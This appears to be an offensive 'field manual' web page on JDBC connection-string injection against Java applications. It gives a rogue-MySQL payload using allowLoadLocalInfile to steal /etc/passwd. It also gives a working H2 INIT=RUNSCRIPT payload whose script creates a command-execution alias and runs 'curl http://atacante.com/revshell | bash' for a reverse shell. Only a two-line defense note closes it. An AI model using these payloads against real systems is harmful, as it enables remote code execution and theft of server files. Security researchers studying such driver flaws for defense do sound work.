Ir al contenido

📕 FIELD MANUAL 17.1: JDBC CONNECTION INJECTION (DRIVER ATTACKS)

Classification: RED TEAM EYES ONLY

0views

Classification: RED TEAM EYES ONLY

Objective: Compromise the web server by attacking the database connector (JDBC Driver) to achieve Remote Code Execution (RCE) or Arbitrary File Read.

MITRE ATT&CK: T1190, T1210.

1. INTEL & RECON: THE PIPELINE IS THE WEAPON

Sección titulada «1. INTEL & RECON: LA TUBERÍA ES EL ARMA»

Sometimes we do not control the SQL query, but we do control the connection parameters (for example, in a configuration panel or via deserialization). The connection string in Java looks like this: jdbc:mysql://localhost:3306/db

The Vector: Many JDBC drivers have serious vulnerabilities if we can manipulate this string.

Target: MySQL/J Connector (Java). Technique: If we can force the web server to connect to our fake MySQL server, we can ask it to send us any local file from its disk.

We will use tools such as Rogue-MySql-Server on our attacker machine.

  • Configuration: file_to_read = "/etc/passwd"

We will inject our IP into the victim's connection string.

  • Payload:jdbc:mysql://ATACANTE_IP:3306/db?allowLoadLocalInfile=true
  • Execution:
    1. The victim connects to our IP, thinking it is their database.
    2. Our Fake Server greets them and says: “To authenticate, send me the content of /etc/passwd”.
    3. The (vulnerable) MySQL driver obeys and sends the file.
    4. Loot: We have the victim's /etc/passwd.

Target: H2 Database (Common in development and Spring Boot). Technique: The H2 database allows executing system commands via RUNSCRIPT if we control the JDBC URL.

STEP 1: Create Malicious Script (init.sql)

Sección titulada «PASO 1: Crear Script Malicioso (init.sql)»
Ventana de terminal
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }';
CALL EXEC('curl [http://atacante.com/revshell](http://atacante.com/revshell) | bash');

We will force the application to load our script upon connection.

  • Payload:jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://atacante.com/init.sql'
  • Result: The moment the application attempts to connect, we will download our SQL, create the command execution function, and obtain a Reverse Shell.
  • Defense: Never allow the user to control the JDBC connection string.
  • Mitigation: We will update the JDBC drivers. In MySQL, we will set allowLoadLocalInfile=false by default.